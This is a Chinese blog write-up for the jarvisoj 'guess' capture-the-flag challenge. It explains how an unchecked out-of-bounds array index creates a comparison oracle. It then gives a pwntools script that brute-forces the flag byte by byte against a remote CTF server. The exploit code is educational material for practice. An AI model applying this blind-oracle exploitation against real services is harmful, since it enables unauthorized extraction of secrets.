jarvisoj_guess(下標越界導致盲注)

jarvisoj_guess(下標越界導致盲注)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,轉換的時候沒有檢查flag_hex[2*i]和flag_hex[2*i+1]的值是否向上越界,如果向上越界,我們可以令flag_hex[i]爲’0’,而flag_hex[i+1]爲p8(offset),這樣s[i] = value2 | 16 * value1的值就是value2就是bin_by_hex[flag_hex[2*i+1]]也就是bin_by_hex[offset],那麼如果取到上面v4的內容,就能通過比較。

然後,我們就可以單字節爆破了

#coding:utf8
from pwn import *


#預先生成一個可以pass的payload
payload = ''
for i in range(50):
   payload += '0'
   payload += p8(0x100-0x40 + i)

sh = remote('node3.buuoj.cn',28532)
#接下來,就可以逐字節爆破了
flag = ''
for i in range(1,51):
   print "guess the index {}'s char".format(i)
   for c in range(32,128):
      pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
      #print pay
      #sh = remote('127.0.0.1',9999)
      sh.sendlineafter('guess> ',pay)
      ans = sh.recvuntil('\n')
      if 'Yaaaay!' in ans:
         flag += chr(c)
         break
   print 'flag=',flag

sh.close()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章